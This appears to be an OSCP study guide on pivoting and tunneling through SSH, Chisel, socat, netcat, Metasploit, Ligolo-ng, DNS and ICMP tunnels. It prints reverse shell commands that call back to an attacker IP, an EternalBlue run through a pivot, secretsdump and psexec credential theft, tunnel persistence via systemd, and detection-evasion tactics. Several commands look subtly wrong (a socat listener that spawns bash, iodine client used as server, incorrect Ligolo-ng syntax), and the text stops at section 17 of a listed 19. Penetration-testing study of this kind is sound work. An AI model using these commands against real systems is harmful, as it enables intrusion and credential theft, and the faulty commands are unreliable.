Domain 5Pivoting & MetasploitADVANCED

Advanced Tunneling

Study notes for Advanced Tunneling covering key PEN-200 methodology and lab techniques.

Domain: Domain 5: Pivoting, Tunneling & Metasploit•Updated: 2026-09-05
#Advanced Tunneling & Pivoting#PEN-200

OSCP Study Guide: Advanced Tunneling

Chapter 15 — Master the art of pivoting and tunneling to access isolated networks.


Table of Contents

  1. Why Tunneling in Pentesting
  2. SSH Tunneling
  3. Chisel Tunneling
  4. Socat Usage
  5. Netcat Tunneling
  6. Proxychains Configuration
  7. Meterpreter Port Forwarding
  8. Metasploit Autoroute and Routing
  9. VPN Tunneling (OpenVPN)
  10. HTTP/HTTPS Proxy Tunneling
  11. DNS Tunneling Concepts
  12. ICMP Tunneling Concepts
  13. WebSocket Tunneling
  14. Pivot Scenarios
  15. Maintaining Persistence During Tunnels
  16. Evading Detection with Tunnels
  17. Encrypted Tunneling
  18. Reverse Shell Techniques
  19. Quick Reference Cheat Sheet

1. Why Tunneling in Pentesting

Core Problem

  • You gain a foothold on Machine A (e.g., 10.10.10.5).
  • Machine B (10.10.10.10) is only reachable from Machine A.
  • Your attacker machine (10.10.14.3) cannot directly reach Machine B.
  • Tunneling bridges this gap.

Key Reasons

Reason Description
Network Segmentation Internal subnets are firewalled from your direct access
Firewall Bypass Only certain ports (80, 443, 53) are open outbound
NAT Traversal Targets sit behind NAT gateways
Multi-hop Access You must pivot through multiple machines to reach the target
Stealth Encrypted tunnels hide your traffic from IDS/IPS
Protocol Translation Wrap blocked protocols inside allowed ones

Tunneling Taxonomy

graph TD
    A[Tunneling Techniques] --> B[SSH-Based]
    A --> C[Tool-Based]
    A --> D[Protocol-Based]
    A --> E[Framework-Based]

    B --> B1[Local Forward]
    B --> B2[Remote Forward]
    B --> B3[Dynamic SOCKS]
    B --> B4[Bastion Jump]

    C --> C1[Chisel]
    C --> C2[Socat]
    C --> C3[Netcat]
    C --> C4[Proxychains]

    D --> D1[HTTP/HTTPS]
    D --> D2[DNS]
    D --> D3[ICMP]
    D --> D4[WebSocket]

    E --> E1[Meterpreter]
    E --> E2[Metasploit Route]
    E --> E3[OpenVPN]

Decision Matrix: Which Tunnel to Use?

Scenario Best Tool Why
SSH port (22) open on pivot SSH Tunnel Native, encrypted, reliable
Only HTTP/HTTPS outbound ReGeorg / Ligolo Wraps traffic in web protocols
Need fast TCP tunnel Chisel Low latency, Go-based, simple
Meterpreter session available Meterpreter portfwd Built-in, no extra tools needed
Full MSF routing needed autoroute Integrates with MSF exploits
Only DNS (53) allowed DNS Tunnel DNS is rarely blocked
Only ICMP allowed ICMP Tunnel Ping is rarely blocked
Multi-hop chain Chisel + Proxychains Chainable, lightweight

2. SSH Tunneling

SSH is the most reliable and widely available tunneling method. It requires an SSH server on the pivot machine.

2.1 Local Port Forwarding

Purpose: Access a service on the internal network from your attacker machine.

Architecture:

graph LR
    A[Attacker<br/>10.10.14.3] -->|SSH| B[Pivot<br/>10.10.10.5]
    B -->|Local| C[Target<br/>10.10.10.10:80]
    A -.->|via localhost:8080| C

Command:

# Syntax
ssh -L [local_port]:[target_ip]:[target_port] [user]@[pivot_ip]

# Example: Access internal web server
ssh -L 8080:10.10.10.10:80 user@10.10.10.5

# After connection, browse:
# http://localhost:8080 → reaches 10.10.10.10:80

How it works:

  1. SSH binds port 8080 on your local machine.
  2. Traffic to localhost:8080 is encrypted through the SSH tunnel.
  3. The SSH server on the pivot forwards it to 10.10.10.10:80.
  4. Response returns through the same encrypted channel.

OSCP Use Case:

  • Pivot machine has SSH open.
  • Internal web app on 10.10.10.10:80 is not directly reachable.
  • Use local forward to access it via localhost:8080.

2.2 Remote Port Forwarding

Purpose: Expose a service on your attacker machine to the internal network.

Architecture:

graph LR
    A[Attacker<br/>10.10.14.3:4444] -->|SSH| B[Pivot<br/>10.10.10.5]
    B -.->|via localhost:9999| A
    C[Internal Host<br/>10.10.10.20] -->|Connects to| B

Command:

# Syntax
ssh -R [remote_port]:[local_ip]:[local_port] [user]@[pivot_ip]

# Example: Expose your listener to the internal network
ssh -R 9999:127.0.0.1:4444 user@10.10.10.5

# Internal hosts can now connect to pivot:9999 → reaches your 4444

How it works:

  1. SSH binds port 9999 on the pivot (remote) machine.
  2. Any connection to pivot:9999 is tunneled back to your localhost:4444.
  3. Useful for receiving reverse shells from deeper internal hosts.

OSCP Use Case:

  • You need an internal host to connect back to you.
  • Your IP is not routable from the internal network.
  • Remote forward exposes your listener through the pivot.

2.3 Dynamic Port Forwarding (SOCKS Proxy)

Purpose: Create a full SOCKS proxy through the pivot for arbitrary traffic.

Architecture:

graph LR
    A[Attacker<br/>10.10.14.3] -->|SSH SOCKS| B[Pivot<br/>10.10.10.5]
    B --> C[Target 1<br/>10.10.10.10]
    B --> D[Target 2<br/>10.10.10.20]
    B --> E[Target N<br/>10.10.10.x]

Command:

# Syntax
ssh -D [local_port] -N [user]@[pivot_ip]

# Example
ssh -D 1080 -N user@10.10.10.5

# -D 1080  → Bind SOCKS proxy on localhost:1080
# -N        → No remote command (tunnel only)

Configure Proxychains:

# Edit /etc/proxychains4.conf
[ProxyList]
socks5  127.0.0.1 1080

Use with any tool:

proxychains4 nmap -sT -Pn -p 22,80,443,3306,8080 10.10.10.10
proxychains4 curl http://10.10.10.10:8080
proxychains4 firefox http://10.10.10.10

OSCP Use Case:

  • You need to scan and access multiple internal hosts.
  • SOCKS proxy gives you flexible, on-demand access.
  • Combine with Proxychains for tool integration.

2.4 SSH Bastion Host Jumping

Purpose: Chain through multiple SSH hops to reach deep internal networks.

Architecture:

graph LR
    A[Attacker] -->|SSH| B[Bastion 1<br/>10.10.10.5]
    B -->|SSH| C[Bastion 2<br/>10.10.20.5]
    C --> D[Target<br/>10.10.30.10:80]

Method 1: ProxyJump (OpenSSH 7.3+)

ssh -J user@10.10.10.5 user@10.10.20.5

# With port forwarding through the chain
ssh -J user@10.10.10.5 -L 8080:10.10.30.10:80 user@10.10.20.5

Method 2: ProxyCommand

ssh -o ProxyCommand="ssh -W %h:%p user@10.10.10.5" user@10.10.20.5

Method 3: Chained SSH Config

# ~/.ssh/config
Host bastion2
    HostName 10.10.20.5
    User user
    ProxyJump bastion1

Host bastion1
    HostName 10.10.10.5
    User user

OSCP Use Case:

  • DMZ → Internal → Restricted network.
  • Each zone requires a separate hop.
  • ProxyJump chains them seamlessly.

SSH Tunneling Summary

Type Flag Direction Best For
Local Forward -L Attacker → Internal Access one internal service
Remote Forward -R Internal → Attacker Receive reverse shells
Dynamic (SOCKS) -D Bidirectional proxy Scan/access multiple hosts
Jump -J Multi-hop chain Deep network traversal

3. Chisel Tunneling

Chisel is a fast TCP tunnel over HTTP. It is the go-to tool when SSH is unavailable.

3.1 Why Chisel?

Feature SSH Chisel
Requires SSH server Yes No
Protocol SSH (port 22) HTTP (any port)
Speed Good Faster (Go-based)
Reverse tunnel Yes (-R) Yes (native)
SOCKS proxy Yes (-D) Yes (socks)
Firewall friendly Port 22 often blocked Runs on 80/443/any
Binary size System package Single binary (~6MB)

3.2 Setup and Configuration

Download:

# On attacker machine
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
mv chisel_1.9.1_linux_amd64 chisel

Architecture — Server/Client Model:

graph LR
    A[Attacker<br/>chisel server] <-->|TCP| B[Pivot<br/>chisel client]
    B --> C[Internal Target]

3.3 Reverse Tunnel (Most Common in OSCP)

Scenario: Pivot machine can connect OUT to your attacker, but you cannot connect IN to the pivot.

Architecture:

graph LR
    subgraph "Internal Network"
        B[Pivot<br/>10.10.10.5]
        C[Target<br/>10.10.10.10:80]
    end
    A[Attacker<br/>10.10.14.3]
    B -->|Reverse Connect| A
    A -.->|Forward| C

Attacker (Server side):

# Listen on port 8000, expose port 9090 → forwards to 127.0.0.1:9090
./chisel server --port 8000 --reverse

Pivot (Client side):

# Connect back to attacker, request R:9090:10.10.10.10:80
# R = reverse: bind 9090 on server, forward to 10.10.10.10:80
./chisel client 10.10.14.3:8000 R:9090:10.10.10.10:80

Result:

  • Attacker’s localhost:9090 → reaches 10.10.10.10:80 on the internal network.
  • Access via: curl http://127.0.0.1:9090

Multiple ports in one tunnel:

# Pivot side — forward multiple ports
./chisel client 10.10.14.3:8000 \
    R:8080:10.10.10.10:80 \
    R:3306:10.10.10.10:3306 \
    R:2222:10.10.10.20:22

3.4 SOCKS Proxy via Chisel

Attacker (Server):

./chisel server --port 8000 --reverse

Pivot (Client):

# Request a SOCKS proxy on port 1080 at the server
./chisel client 10.10.14.3:8000 R:socks

Result:

  • SOCKS5 proxy available on attacker’s localhost:1080.
  • Configure Proxychains and use any tool.
# /etc/proxychains4.conf
[ProxyList]
socks5  127.0.0.1  1080

# Use it
proxychains4 nmap -sT -Pn -p 22,80,443 10.10.10.10

3.5 Standard (Non-Reverse) Tunnel

When the attacker can connect to the pivot:

# Pivot (Server)
./chisel server --port 8000 --reverse

# Attacker (Client) — forward local 8080 to internal 10.10.10.10:80
./chisel client 10.10.10.5:8000 8080:10.10.10.10:80

3.6 Authenticated Chisel

# Server with password
./chisel server --port 8000 --auth mypassword --reverse

# Client with password
./chisel client mypassword@10.10.14.3:8000 R:socks

3.7 Chisel Command Reference

Mode Server Command Client Command Result
Reverse single port server --port 8000 --reverse client ATTK:8000 R:9090:TARGET:80 localhost:9090 → TARGET:80
Reverse SOCKS server --port 8000 --reverse client ATTK:8000 R:socks SOCKS5 on localhost:1080
Standard forward server --port 8000 client PIVOT:8000 8080:TARGET:80 localhost:8080 → TARGET:80

4. Socat Usage

Socat is a versatile bidirectional data relay. It can create tunnels, forward ports, and spawn shells.

4.1 Core Syntax

socat [OPTIONS] <ADDRESS1> <ADDRESS2>

It connects two data channels. Each address defines a endpoint type.

4.2 Address Types

Type Syntax Description
TCP Listener TCP-LISTEN:<port> Listen for TCP connections
TCP Client TCP:<host>:<port> Connect to TCP server
UDP Listener UDP-LISTEN:<port> Listen for UDP connections
UDP Client UDP:<host>:<port> Connect to UDP server
File FILE:<path> Read/write a file
Pipe PIPE:[r=<in>],[w=<out>] Named pipe
Exec EXEC:<command> Execute a command
System SYSTEM:<command> Execute via /bin/sh -c
Open OPEN:<path> Open a file
Socket UNIX-LISTEN:<path> Unix domain socket

4.3 TCP Port Forwarding

Forward local port to remote:

# Listen on local 8080, forward to 10.10.10.10:80
socat TCP-LISTEN:8080,fork TCP:10.10.10.10:80

Parameters:

  • fork — Handle multiple connections (respawn handler for each).
  • reuseaddr — Allow quick restart after crash.

4.4 UDP Forwarding

# Forward UDP local 5353 to remote 10.10.10.10:53
socat UDP-LISTEN:5353,fork UDP:10.10.10.10:53

4.5 Reverse Shell via Socat

Attacker (Listener):

socat TCP-LISTEN:4444,nip,su=0,range=10.10.10.0/24 EXEC:"bash -li",pty,stderr,setsid,sigint,sane

Pivot (Reverse connect):

socat TCP:10.10.14.3:4444 EXEC:"bash -li",pty,stderr,setsid,sigint,sane

Parameter breakdown:

Parameter Purpose
nip No IP address in output
su=0 Setuid to root (if possible)
range= Restrict allowed source IPs
pty Allocate pseudo-terminal
stderr Redirect stderr to stdout
setsid Create new session
sigint Handle SIGINT properly
sane Set sane terminal settings

4.6 Port Redirection (Relay)

# Relay: connections to local 8080 go to remote 10.10.10.10:80
socat TCP-LISTEN:8080,fork,reuseaddr TCP:10.10.10.10:80 &

# Chain two socat instances for bidirectional relay
socat TCP-LISTEN:4444,fork TCP:10.10.10.5:4445 &
socat TCP-LISTEN:4445,fork TCP:10.10.14.3:4444 &

4.7 Socat Tunnel Chain

graph LR
    A[Attacker<br/>socat listen 8080] -->|TCP| B[Pivot<br/>socat relay]
    B -->|TCP| C[Target<br/>10.10.10.10:80]
# On pivot — relay between attacker and target
socat TCP-LISTEN:9090,fork TCP:10.10.10.10:80 &

# On attacker — connect through pivot
socat TCP-LISTEN:8080,fork TCP:10.10.10.5:9090 &

# Now curl localhost:8080 reaches 10.10.10.10:80

4.8 Socat vs Netcat

Feature Socat Netcat
Bidirectional Yes Depends on version
UDP support Yes Limited
Exec commands Yes (EXEC:) Via pipe
Unix sockets Yes No
Fork (multi-conn) Yes (fork) No
Complexity Higher Simpler
Availability Not always pre-installed Often available

5. Netcat Tunneling

Netcat is the Swiss army knife of networking. Multiple variants exist with different capabilities.

5.1 Netcat Variants

Variant Flag Features
Traditional (GNU) nc Basic TCP/UDP, no -e
OpenBSD ncat / nc Modern, SSL support, no -e
Ncat (Nmap bundle) ncat SSL, proxy, -e, exec
Netcat-traditional nc.traditional Has -e flag

5.2 Basic Tunneling

Port forwarding:

# Listener on pivot
nc -lvp 4444 -c 'nc 10.10.10.10 80'

# Connect from attacker
nc 10.10.10.5 4444

Reverse tunnel:

# On pivot — connect back to attacker
nc -e /bin/bash 10.10.14.3 4444

# On attacker — listen
nc -lvp 4444

5.3 Ncat Advanced Features

SSL-encrypted tunnel:

# Generate self-signed cert
openssl req -newkey rsa:2048 -keyout key.pem -out cert.pem -nodes -x509 -days 365

# Listener with SSL
ncat --listen 4443 --ssl --cert cert.pem --key key.pem -e /bin/bash

# Connect with SSL
ncat --ssl 10.10.10.5 4443

SOCKS proxy with Ncat:

ncat --listen -p 1080 --ssh-proxy 10.10.10.5:22 --ssh-user user --ssh-password pass

5.4 Netcat Tunnel Chain

graph LR
    A[Attacker<br/>nc -lv 4444] <-->|TCP| B[Pivot<br/>nc -e relay]
    B <-->|TCP| C[Target<br/>Service:80]

6. Proxychains Configuration

Proxychains forces applications to route through a proxy. It works with SOCKS and HTTP proxies.

6.1 Installation

# Kali / Debian
sudo apt install proxychains4

# Check version
proxychains4 -v

6.2 Configuration File

Location: /etc/proxychains4.conf

# Dynamic chain — rotate through proxies
# strict_chain — use proxies in order
# random_chain — random proxy selection
# chain_len — number of proxies in chain
# proxy_dns — route DNS through proxy too

[ProxyList]
# type  host  port  [user  password]
socks5  127.0.0.1  1080
# socks4  127.0.0.1  1080
# http    127.0.0.1  8080  username  password

6.3 Chain Types

Type Behavior Use Case
strict_chain Proxies used in order Multi-hop through known chain
dynamic_chain Skip failed proxies, retry Unreliable proxy links
random_chain Random proxy each request Load balancing, obfuscation
chain_len N Limit chain length Control hop count

6.4 Usage Examples

# Scan internal network through SOCKS proxy
proxychains4 nmap -sT -Pn -p 22,80,443,3306,8080 10.10.10.10

# Access internal web app
proxychains4 curl http://10.10.10.10:8080

# Use Metasploit through proxy
proxychains4 msfconsole

# Browser through proxy
proxychains4 firefox

6.5 Important Notes

  • Use -sT (TCP connect scan) with nmap, NOT -sS (SYN scan).
  • Proxychains does NOT support UDP well.
  • Some tools are not compatible (check with proxychains4 <command>).
  • Combine with SSH -D or Chisel R:socks for the SOCKS endpoint.

6.6 Full Workflow

graph LR
    A[proxychains4 nmap] -->|SOCKS5| B[localhost:1080]
    B -->|SSH Tunnel| C[Pivot 10.10.10.5]
    C --> D[Target 10.10.10.10]
# Step 1: Create SSH SOCKS tunnel
ssh -D 1080 -N user@10.10.10.5 &

# Step 2: Configure proxychains4.conf
# [ProxyList]
# socks5  127.0.0.1  1080

# Step 3: Use tools through the proxy
proxychains4 nmap -sT -Pn -p 22,80,443 10.10.10.10

7. Meterpreter Port Forwarding

Meterpreter has built-in port forwarding. No external tools needed.

7.1 Commands Reference

Command Syntax Description
portfwd add portfwd add -l <local> -p <remote> -r <rhost> Add forwarding rule
portfwd delete portfwd delete -l <local> Remove a rule
portfwd flush portfwd flush Remove all rules
portfwd list portfwd list List active rules

7.2 Usage

# Get Meterpreter session
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4443
exploit

# Forward local 8080 to the pivot's view of 10.10.10.10:80
portfwd add -l 8080 -p 80 -r 10.10.10.10

# List active forwards
portfwd list

# Access the forwarded service
curl http://127.0.0.1:8080

# Remove when done
portfwd delete -l 8080

7.3 Architecture

graph LR
    A[Attacker<br/>localhost:8080] -->|Meterpreter Channel| B[Pivot<br/>Meterpreter Session]
    B -->|Local Forward| C[Target<br/>10.10.10.10:80]

7.4 Advantages and Limitations

Aspect Detail
Advantage No extra tools needed on pivot
Advantage Works over existing Meterpreter channel
Advantage Encrypted (Meterpreter is encrypted)
Limitation Single session dependency
Limitation Performance depends on Meterpreter channel
Limitation Not ideal for high-bandwidth transfers

8. Metasploit Autoroute and Routing

Metasploit’s routing system allows exploits to route through a session to reach internal targets.

8.1 Key Commands

Command Description
ipconfig Show interfaces and routes from the session
run autoroute -s <subnet> Add subnet to the routing table
run autoroute -p Print the routing table
run autoroute -d -s <subnet> Delete a route
background Background the current session

8.2 Full Workflow

# Step 1: Get a session on the pivot
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 4443
exploit

# Step 2: Check available routes
ipconfig

# Output example:
# TUN 10.10.10.0/255.255.255.0 -> 10.10.10.5  (session 1)

# Step 3: Add the internal subnet to autoroute
run autoroute -s 10.10.10.0/24

# Step 4: Verify routing table
run autoroute -p

# Session  Target              Gateway         Metric  User
# -------  -----              -------         -----   ----
# 1        10.10.10.0/255.255.255.0   10.10.10.0      0       Y

# Step 5: Background the session
background

# Step 6: Use an exploit that targets the internal network
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 10.10.10.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.5    # Use pivot's internal IP!
exploit

8.3 Architecture

graph LR
    A[Attacker<br/>MSF Console] -->|autoroute| B[Session 1<br/>Pivot 10.10.10.5]
    B -->|Routed Exploit| C[Target<br/>10.10.10.10]
    C -->|Reverse to Pivot| B
    B -->|Back to Attacker| A

8.4 Critical Point

  • Set LHOST to the pivot’s internal IP, not your attacker IP.
  • The reverse payload from the target connects back to the pivot.
  • The pivot relays it through the Meterpreter session to you.

8.5 Auxiliary Scanner Through Route

# Scan internal network through the route
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 22,80,443,3306,3389,8080
set THREADS 20
run

9. VPN Tunneling (OpenVPN)

OpenVPN creates a full VPN tunnel into the internal network. Best for large-scale access.

9.1 Why OpenVPN?

Feature Benefit
Full IP-level tunnel All traffic routes through VPN
No per-tool config No need for proxychains per tool
Encrypted AES-256 by default
Persistent Survives tool switches
Multi-protocol TCP or UDP transport

9.2 Setup via Meterpreter

Method: Using openvpn post module

# From Meterpreter session
use post/multi/manage/openvpn
set SESSION 1
set LPORT 4444
set PROTO tcp
set TOPology net30
exploit

Method: Manual OpenVPN on Pivot

# On pivot (Linux) — install and configure OpenVPN
# Create a simple server config
cat > /tmp/server.conf << 'EOF'
port 1194
proto tcp
dev tun
ca ca.crt
cert server.crt
key server.key
dh dh2048.pem
server 10.8.0.0 255.255.255.0
push "route 10.10.10.0 255.255.255.0"
keepalive 10 120
cipher AES-256-GCM
persist-key
persist-tun
daemon
EOF

# Start the server
openvpn /tmp/server.conf

9.3 Architecture

graph LR
    A[Attacker<br/>VPN Client<br/>10.8.0.6] <-->|OpenVPN Tunnel| B[Pivot<br/>VPN Server<br/>10.10.10.5]
    B --> C[Target 1<br/>10.10.10.10]
    B --> D[Target 2<br/>10.10.10.20]

9.4 Ligolo-ng (Modern Alternative)

Ligolo-ng is a modern VPN-like tunnel over a single TCP connection.

# Attacker — start agent server
./ligolo-ng server

# Pivot — connect agent
./ligolo-ng client server --server 10.10.14.3:11601

# In Ligolo server console
interact 1                    # Interact with agent 1
ifconfig                      # List pivot interfaces
add-route 10.10.10.0/24       # Add internal route
start                         # Start the tunnel

# On attacker — configure the tun interface
sudo ip addr add 10.10.10.99/24 dev ligolo0
sudo ip link set ligolo0 up

# Now you can directly access internal hosts
nmap -p 22,80,443 10.10.10.10

10. HTTP/HTTPS Proxy Tunneling

When only HTTP (80) or HTTPS (443) is allowed outbound, use web-based tunnels.

10.1 ReGeorg

ReGeorg creates a tunnel inside HTTP/HTTPS traffic using a dropper script.

Architecture:

graph LR
    A[Attacker<br/>reGeorgSocksProxy.py] -->|HTTP Tunnel| B[Web Server<br/>tunnel.php / .aspx / .jsp]
    B --> C[Internal Network]

Steps:

# Step 1: Upload the appropriate dropper to the web server
# Options: tunnel.php, tunnel.aspx, tunnel.jsp, tunnel.rb, tunnel.oab

# Step 2: Start the proxy on your attacker machine
python3 reGeorgSocksProxy.py -p 8080 -u http://10.10.10.5/tunnel.php

# For HTTPS:
python3 reGeorgSocksProxy.py -p 8080 -u https://10.10.10.5/tunnel.aspx

# Step 3: Configure proxychains
# [ProxyList]
# socks5  127.0.0.1  8080

# Step 4: Use tools through the tunnel
proxychains4 nmap -sT -Pn -p 22,80,443 10.10.10.10

Dropper Selection:

Web Tech Dropper File
PHP tunnel.php
ASP.NET tunnel.aspx
JSP tunnel.jsp
Ruby tunnel.rb
Oracle APEX tunnel.oab

10.2 ReGeorg vs Chisel

Aspect ReGeorg Chisel
Transport HTTP/HTTPS Raw TCP over HTTP
Requires web shell Yes No
Firewall bypass Excellent (looks like web traffic) Good
Speed Slower (HTTP overhead) Faster
Setup complexity Upload dropper first Just run binaries
Best for WAF/firewall that only allows web General purpose

10.3 Ligolo (HTTP Mode)

Ligolo-ng can also operate over HTTP transport:

# Agent connects via HTTP
./ligolo-ng client server --server 10.10.14.3:11601 --transport http

11. DNS Tunneling Concepts

DNS tunneling encapsulates data inside DNS queries and responses.

11.1 Why DNS?

  • DNS (port 53) is almost never blocked.
  • Both TCP and UDP on port 53 are typically allowed.
  • DNS traffic looks legitimate.
  • Works through most firewalls and proxies.

11.2 How It Works

graph LR
    A[Attacker<br/>DNS Server] <-->|DNS Queries/Responses| B[Pivot<br/>DNS Tunnel Client]
    B --> C[Encapsulated Data]
  1. Data is encoded into DNS subdomain labels (base32/hex).
  2. Client sends DNS queries: datachunk.evt1dnsid.domain.com.
  3. Server decodes the query and responds with encoded data.
  4. Client decodes the response to recover the original data.

11.3 Tools

Tool Description
iodine Most popular DNS tunnel tool
dnscat2 DNS-based command and control
dns2tcp TCP-over-DNS tunnel
subdomain-tunneling Python-based DNS tunnel

11.4 Iodine Example

# On attacker (DNS server side)
iodine -f -c -P mypassword 10.10.14.100

# On pivot (client side)
iodine -f -P mypassword 10.10.14.3

# This creates a tun interface on both sides
# Configure IP and route internal traffic
ip addr add 10.10.14.101/24 dev tun0
ip route add 10.10.10.0/24 dev tun0

11.5 Dnscat2 Example

# On attacker
dnscat2 -P mypassword

# On pivot (Ruby required)
dnscat2 10.10.14.3 -P mypassword

# In dnscat2 console
session -i 1 -e SHELL

11.6 Limitations

Limitation Impact
Low bandwidth DNS labels max 63 chars per query
High latency DNS resolution overhead
Detection Unusual query patterns trigger alerts
Not for large transfers Avoid file exfiltration over DNS

12. ICMP Tunneling Concepts

ICMP tunneling encapsulates data inside ping (ICMP echo) packets.

12.1 Why ICMP?

  • ICMP echo requests/replies are rarely blocked.
  • Useful when ALL ports except ICMP are firewalled.
  • Extremely stealthy in basic environments.

12.2 How It Works

graph LR
    A[Attacker<br/>ICMP Server] <-->|ICMP Echo RQ/REPLY| B[Pivot<br/>ICMP Client]
    B --> C[Encapsulated TCP Data]
  1. Data is encoded into the payload of ICMP echo request packets.
  2. Responses carry data in ICMP echo reply packets.
  3. A tunnel interface is created on both ends.

12.3 Tools

Tool Description
ptunnel2 Python ICMP tunnel
icmpsh Interactive ICMP shell
icmp_tunnel Go-based ICMP tunnel

12.4 Ptunnel2 Example

# On attacker
ptunnel2 --listen

# On pivot
ptunnel2 --daemon 10.10.14.3 -p mypassword

# Creates localhost:31337 on attacker → tunneled through ICMP

12.5 Limitations

Limitation Impact
Very low bandwidth ICMP payload is small
Rate limiting Firewalls may rate-limit ICMP
Easy to detect Large ICMP payloads are suspicious
MTU issues Fragmentation can break the tunnel

13. WebSocket Tunneling

WebSocket tunnels encapsulate traffic inside WebSocket frames over HTTP/HTTPS.

13.1 Why WebSocket?

  • Runs over port 80/443 (same as HTTP/HTTPS).
  • Full-duplex communication.
  • Passes through most proxies and WAFs.
  • Looks like normal web traffic.

13.2 Tools

Tool Description
websocat WebSocket terminal client
wstunnel Generic WebSocket tunnel
Ligolo-ng Supports WebSocket transport

13.3 Wstunnel Example

# On pivot (server)
wstunnel --listen ws://0.0.0.0:8080 --to 10.10.10.10:80

# On attacker (client)
wstunnel --listen tcp://0.0.0.0:9090 --to ws://10.10.10.5:8080

# Now localhost:9090 → WebSocket → 10.10.10.10:80

13.4 Ligolo over WebSocket

# Agent connects via WebSocket
./ligolo-ng client server --server 10.10.14.3:11601 --transport ws

14. Pivot Scenarios

14.1 Single Pivot

Scenario: One pivot machine between you and the target.

graph LR
    A[Attacker<br/>10.10.14.3] -->|Tunnel| B[Pivot<br/>10.10.10.5]
    B --> C[Target<br/>10.10.10.10]

Approach:

# SSH (if port 22 available)
ssh -D 1080 -N user@10.10.10.5

# Chisel (if SSH not available)
# Attacker
./chisel server --port 8000 --reverse
# Pivot
./chisel client 10.10.14.3:8000 R:socks

# Meterpreter
portfwd add -l 8080 -p 80 -r 10.10.10.10

14.2 Multi-Hop Pivot Chains

Scenario: Multiple pivots between you and the target.

graph LR
    A[Attacker<br/>10.10.14.3] -->|Tunnel 1| B[Pivot 1<br/>10.10.10.5]
    B -->|Tunnel 2| C[Pivot 2<br/>10.10.20.5]
    C --> D[Target<br/>10.10.30.10]

Chained Chisel Approach:

# === Hop 1: Attacker ↔ Pivot 1 ===
# Attacker
./chisel server --port 8000 --reverse
# Pivot 1
./chisel client 10.10.14.3:8000 R:8001:127.0.0.1:8001

# === Hop 2: Pivot 1 ↔ Pivot 2 ===
# Pivot 1 (also runs a chisel server)
./chisel server --port 8001 --reverse
# Pivot 2
./chisel client 10.10.10.5:8001 R:socks

# === Result ===
# SOCKS on attacker localhost:8000 → Pivot 1 → Pivot 2 → Internal network
# Configure proxychains to use localhost:8000

Chained SSH Approach:

# Jump through multiple bastions
ssh -J user@10.10.10.5,user@10.10.20.5 -D 1080 -N user@10.10.30.5

14.3 Pivoting in Active Directory Environments

Scenario: You compromise a workstation and need to reach Domain Controllers and other internal systems.

graph TB
    A[Attacker] -->|Reverse Shell| B[Workstation<br/>10.10.10.50]
    B -->|Domain Member| C[Domain Controller<br/>10.10.10.10]
    B --> D[File Server<br/>10.10.10.20]
    B --> E[DB Server<br/>10.10.10.30]
    B --> F[Web Server<br/>10.10.10.40]

AD Pivot Workflow:

# Step 1: Get initial access (reverse shell / Meterpreter)
# Step 2: Establish tunnel
./chisel client 10.10.14.3:8000 R:socks

# Step 3: Enumerate the domain
proxychains4 nmap -sT -Pn -p 53,88,135,139,389,445,636,3268,3389 10.10.10.0/24

# Step 4: Extract credentials
# - Use Mimikatz / secretsdump
proxychains4 python3 secretsdump.py DOMAIN/user:pass@10.10.10.10

# Step 5: Lateral movement
proxychains4 psexec.py DOMAIN/admin:pass@10.10.10.20

# Step 6: Domain escalation
proxychains4 python3 getuserSPNs.py DOMAIN/ -dc-ip 10.10.10.10

AD-Specific Ports to Forward:

Port Service Purpose
53 DNS Domain resolution
88 Kerberos Authentication
135 RPC Remote procedure calls
139 NetBIOS Legacy SMB
389 LDAP Directory queries
445 SMB File sharing, psexec
636 LDAPS Encrypted LDAP
3268 GC Global Catalog
3389 RDP Remote Desktop
5985/5986 WinRM Remote management

15. Maintaining Persistence During Tunnels

15.1 Keep Tunnels Alive

Problem: Tunnels drop when sessions die.

Solutions:

Method Command Description
autossh autossh -M 0 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -D 1080 user@pivot Auto-reconnect SSH tunnels
tmux / screen Run tunnel inside tmux Survives disconnection
nohup nohup ./chisel client ... & Survives shell close
Systemd service Create a systemd unit Auto-start on boot
Cron */5 * * * * /path/to/tunnel_check.sh Periodic restart

15.2 Autossh Example

# Install
sudo apt install autossh

# Auto-reconnecting SOCKS tunnel
autossh -M 0 -N -D 1080 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" user@10.10.10.5

15.3 Systemd Service for Chisel

# On pivot — create service
sudo tee /etc/systemd/system/chisel.service << 'EOF'
[Unit]
Description=Chisel Tunnel
After=network.target

[Service]
Type=simple
ExecStart=/opt/chisel client 10.10.14.3:8000 R:socks
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl enable chisel
sudo systemctl start chisel

16. Evading Detection with Tunnels

16.1 Detection Vectors

Detection Method What It Looks For
IDS/IPS Known tunnel signatures, unusual protocols
DLP Data exfiltration patterns
NetFlow Unusual traffic volume/timing
Proxy Logs Long-lived connections, large payloads
Endpoint Detection Suspicious processes, injected code

16.2 Evasion Techniques

Technique Method
Use HTTPS Run tunnels over port 443 with valid TLS
Domain Fronting Tunnel through legitimate CDN domains
Traffic Shaping Add delays, limit throughput to look normal
DNS over HTTPS Use DoH to hide DNS tunnel queries
Fragment Packets Split large payloads across many small packets
Time Blending Only tunnel during business hours
Legitimate Cover Tunnel inside legitimate app traffic patterns

16.3 Encrypted Chisel over HTTPS

# Generate certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem

# Server with TLS
./chisel server --port 443 --reverse --tls-cert cert.pem --tls-key key.pem

# Client with TLS
./chisel client --tls-skip-verify 10.10.14.3:443 R:socks

17. Encrypted Tunneling

17.1 Why Encrypt?

  • Prevents traffic analysis by network defenders.
  • Protects credentials passed through the tunnel.
  • Defeats passive monitoring and packet capture.
  • Required for compliance in some engagements.

17.2 Encryption Options

Tool Encryption Protocol
SSH AES (built-in) SSH
Chisel + TLS TLS 1.2/1.3 HTTPS
OpenVPN AES-256-GCM Custom
Ncat + SSL TLS Custom
Ligolo-ng TLS TCP/TLS

